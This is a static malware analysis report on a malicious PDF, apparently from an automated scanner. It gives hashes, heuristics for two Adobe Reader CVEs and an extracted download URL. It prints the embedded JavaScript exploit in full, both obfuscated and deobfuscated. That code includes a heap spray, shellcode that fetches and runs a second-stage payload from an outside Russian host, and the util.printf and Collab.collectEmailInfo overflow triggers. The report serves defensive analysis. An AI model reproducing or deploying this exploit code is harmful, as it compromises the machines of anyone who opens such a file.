Malicious PDF — malware analysis report

Static analysis result for SHA-256 7353c05e20ec3a44…

MALICIOUS

PDF

3.5 KB Created: 2008-31-20 53:85:00 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12)
MD5: a0cc9d95f8ad1d0725eb20aeaf27c171 SHA-1: ec3e23a2a215a7426265227b018cb3d3175b3d39 SHA-256: 7353c05e20ec3a449c01b89de7da51df9887ab7bc970a75601d457c8d8ab3184
318 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages CVE-2007-5659 (Collab.collectEmailInfo) and CVE-2008-2992 (util.printf) to execute code. This JavaScript is designed to download a second-stage payload from the URL http://ac-trans.ru/load.php?stat=Windows. The use of JavaScript and known Adobe Reader exploits points to a downloader or dropper functionality.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ac-trans.ru/load.php?stat=Windows Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js
ee67dd94cbc559d8d9f6b2ec5cd00d93143d03b2a7029d1ea13bede56c364cf1
pdf-javascript-stream PDF /JS object 13 at offset 0x3D7 13505 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var B34l = "1e234v567a89l0";
B34l = B34l.replace(/[\+1234567890]/g, "");
var A34l = eval(B34l);
var s = "32.102.117.110.99.116.105.111.110.32.109.48.49.53.51.109.67.51.52.108.40.109.48.49.53.51.109.68.51.52.108.44.32.109.48.49.53.51.109.87.51.52.108.41.123.32.119.104.105.108.101.32.40.109.48.49.53.51.109.68.51.52.108.46.108.101.110.103.116.104.42.50.60.109.48.49.53.51.109.87.51.52.108.41.123.109.48.49.53.51.109.68.51.52.108.32.43.61.32.109.48.49.53.51.109.68.51.52.108.59.125.32.109.48.49.53.51.109.68.51.52.108.32.61.32.109.48.49.53.51.109.68.51.52.108.46.115.117.98.115.116.114.105.110.103.40.48.44.109.48.49.53.51.109.87.51.52.108.47.50.41.59.32.114.101.116.117.114.110.32.109.48.49.53.51.109.68.51.52.108.59.32.125.32.102.117.110.99.116.105.111.110.32.109.48.49.53.51.109.69.51.52.108.40.110.117.109.44.32.99.111.110.116.101.110.116.41.123.32.118.97.114.32.122.32.61.32.34.34.59.32.102.111.114.32.40.118.97.114.32.105.32.61.32.48.59.32.105.32.60.32.110.117.109.59.32.105.43.43.41.123.32.122.32.43.61.32.99.111.110.116.101.110.116.46.116.111.83.116.114.105.110.103.40.41.59.32.125.32.114.101.116.117.114.110.32.122.59.32.125.32.118.97.114.32.109.48.49.53.51.109.70.51.52.108.32.61.32.97.112.112.46.118.105.101.119.101.114.86.101.114.115.105.111.110.46.116.111.83.116.114.105.110.103.40.41.59.32.109.48.49.53.51.109.70.51.52.108.32.61.32.109.48.49.53.51.109.70.51.52.108.46.114.101.112.108.97.99.101.40.47.92.68.47.103.44.34.34.41.59.32.118.97.114.32.109.48.49.53.51.109.71.51.52.108.32.61.32.110.101.119.32.65.114.114.97.121.40.109.48.49.53.51.109.70.51.52.108.46.99.104.97.114.65.116.40.48.41.44.109.48.49.53.51.109.70.51.52.108.46.99.104.97.114.65.116.40.49.41.44.109.48.49.53.51.109.70.51.52.108.46.99.104.97.114.65.116.40.50.41.41.59.32.105.102.32.40.109.48.49.53.51.109.71.51.52.108.91.48.93.32.61.61.32.56.32.38.38.32.109.48.49.53.51.109.71.51.52.108.91.49.93.32.61.61.32.49.32.38.38.32.109.48.49.53.51.109.71.51.52.108.91.50.93.32.61.61.32.50.41.123.32.118.97.114.32.109.48.49.53.51.109.75.51.52.108.32.61.32.117.110.101.115.99.97.112.101.40.34.37.117.67.48.51.51.37.117.56.66.54.52.37.117.51.48.52.48.37.117.48.67.55.56.37.117.52.48.56.66.37.117.56.66.48.67.37.117.49.67.55.48.37.117.56.66.65.68.37.117.48.56.53.56.37.117.48.57.69.66.37.117.52.48.56.66.37.117.56.68.51.52.37.117.55.67.52.48.37.117.53.56.56.66.37.117.54.65.51.67.37.117.53.65.52.52.37.117.69.50.68.49.37.117.69.50.50.66.37.117.69.67.56.66.37.117.52.70.69.66.37.117.53.50.53.65.37.117.69.65.56.51.37.117.56.57.53.54.37.117.48.52.53.53.37.117.53.55.53.54.37.117.55.51.56.66.37.117.56.66.51.67.37.117.51.51.55.52.37.117.48.51.55.56.37.117.53.54.70.51.37.117.55.54.56.66.37.117.48.51.50.48.37.117.51.51.70.51.37.117.52.57.67.57.37.117.52.49.53.48.37.117.51.51.65.68.37.117.51.54.70.70.37.117.66.69.48.70.37.117.48.51.49.52.37.117.70.50.51.56.37.117.48.56.55.52.37.117.67.70.67.49.37.117.48.51.48.68.37.117.52.48.70.65.37.117.69.70.69.66.37.117.51.66.53.56.37.117.55.53.70.56.37.117.53.69.69.53.37.117.52.54.56.66.37.117.48.51.50.52.37.117.54.54.67.51.37.117.48.67.56.66.37.117.56.66.52.56.37.117.49.67.53.54.37.117.68.51.48.51.37.117.48.52.56.66.37.117.48.51.56.65.37.117.53.70.67.51.37.117.53.48.53.69.37.117.56.68.67.51.37.117.48.56.55.68.37.117.53.50.53.55.37.117.51.51.66.56.37.117.56.65.67.65.37.117.69.56.53.66.37.117.70.70.65.50.37.117.70.70.70.70.37.117.67.48.51.50.37.117.70.55.56.66.37.117.65.69.70.50.37.117.66.56.52.70.37.117.50.69.54.53.37.117.55.56.54.53.37.117.54.54.65.66.37.117.54.54.57.56.37.117.66.48.65.66.37.117.56.65.54.67.37.117.57.56.69.48.37.117.54.56.53.48.37.117.54.69.54.70.37.117.54.52.50.69.37.117.55.53.54.56.37.117.54.67.55.50.37.117.53.52.54.68.37.117.56.69.66.56.37.117.48.69.52.69.37.117.70.70.69.67.37.117.48.52.53.53.37.117.53.48.57.51.37.117.67.48.51.51.37.117.53.48.53.48.37.117.56.66.53.54.37.117.48.52.53.53.37.117.67.50.56.51.37.117.56.51.55.70.37.117.51.49.67.50.37.117.53.48.53.50.37.117.51.54.66.56.37.117.50.70.49.65.37.117.70.70.55.48.37.117.48.52.53.53.37.117.51.51.53.66.37.117.53.55.70.70.37.117.66.56.53.54.37.117.70.69.57.56.37.117.48.69.56.65.37.117.53.53.70.70.3
... (truncated)
numeric_charcode_stage_000.js
cc2c7ec3a3ffbcd7f2e728de811d2c1472f318bea2ec3053c78784b4a6eed755
deobfuscated-js numeric char-code string decoded JavaScript at offset 0x445 4032 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function m0153mC34l(m0153mD34l, m0153mW34l){ while (m0153mD34l.length*2<m0153mW34l){m0153mD34l += m0153mD34l;} m0153mD34l = m0153mD34l.substring(0,m0153mW34l/2); return m0153mD34l; } function m0153mE34l(num, content){ var z = ""; for (var i = 0; i < num; i++){ z += content.toString(); } return z; } var m0153mF34l = app.viewerVersion.toString(); m0153mF34l = m0153mF34l.replace(/\D/g,""); var m0153mG34l = new Array(m0153mF34l.charAt(0),m0153mF34l.charAt(1),m0153mF34l.charAt(2)); if (m0153mG34l[0] == 8 && m0153mG34l[1] == 1 && m0153mG34l[2] == 2){ var m0153mK34l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u612F%u2D63%u7274%u6E61%u2E73%u7572%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u006E"); var m0153mC34l = unescape("%u0A0A%u0A0A"); var m0153mD34l = 20; var m0153mH34l = m0153mD34l+m0153mK34l.length; while (m0153mC34l.length < m0153mH34l) m0153mC34l += m0153mC34l; var m0153mL34l = m0153mC34l.substring(0, m0153mH34l); var m0153mM34l = m0153mC34l.substring(0, m0153mC34l.length - m0153mH34l); while (m0153mM34l.length + m0153mH34l < 0x60000) m0153mM34l=m0153mM34l+m0153mM34l+m0153mL34l; var m0153mN34l = new Array(); for (m0153mO34l = 0; m0153mO34l < 1200; m0153mO34l++){ m0153mN34l[m0153mO34l] = m0153mM34l + m0153mK34l } var m0153mP34l = 12 + m0153mE34l(18, 9) + m0153mE34l(276, 8); var m0153mA3qIo = "12%34@5@0@0@0123f@"; m0153mA3qIo = m0153mA3qIo.replace(/[123@]/g, ""); util.printf(m0153mA3qIo,m0153mP34l); } else { var m0153mK34l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u612F%u2D63%u7274%u6E61%u2E73%u7572%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u006E"); var m0153mA93IwonQ = "@0@x@0@c@0@c@0@c@0@c@"; m0153mA93IwonQ = m0153mA93IwonQ.replace(/[@]/g, ""); var m0153mB93IwonQ = "@0@x@4@0@@0@@0@@0@0@"; m0153mB93IwonQ = m0153mB93IwonQ.replace(/[@]/g, ""); var m0153mQ34l = new Array(); var m0153mP34l = m0153mA93IwonQ; var m0153mM34l = m0153mB93IwonQ; var m0153mN34l = m0153mK34l.length * 2; var m0153mW34l = m0153mM34l - (m0153mN34l+0x38); var m0153mQ92SilN = "@%@u@9@0@9@0@%@u@9@0@9@0@"; m0153mQ92SilN = m0153mQ92SilN.replace(/[@]/g, ""); var m0153mD34l = unescape(m0153mQ92SilN); m0153mD34l = m0153mC34l(m0153mD34l, m0153mW34l); var m0153mL34l = (m0153mP34l - m0153mB93IwonQ)/m0153mM34l; for (var m0153mC93IwonQ=0;m0153mC93IwonQ<m0153mL34l;m0153mC93IwonQ++){ m0153mQ34l[m0153mC93IwonQ] = m0153mD34l + m0153mK34l; } var m0153mEio95EinA = "@%@u@0@c@0@c@%@u@0@c@0@c@"; m0153mEio95EinA = m0153mEio95EinA.replace(/[@]/g, ""); var m0153mO34l = unescape(m0153mEio95EinA); while(m0153mO34l.length < 44952) m0153mO34l += m0153mO34l; this.collabStore = Collab.collectEmailInfo({subj: "",msg: m0153mO34l}); }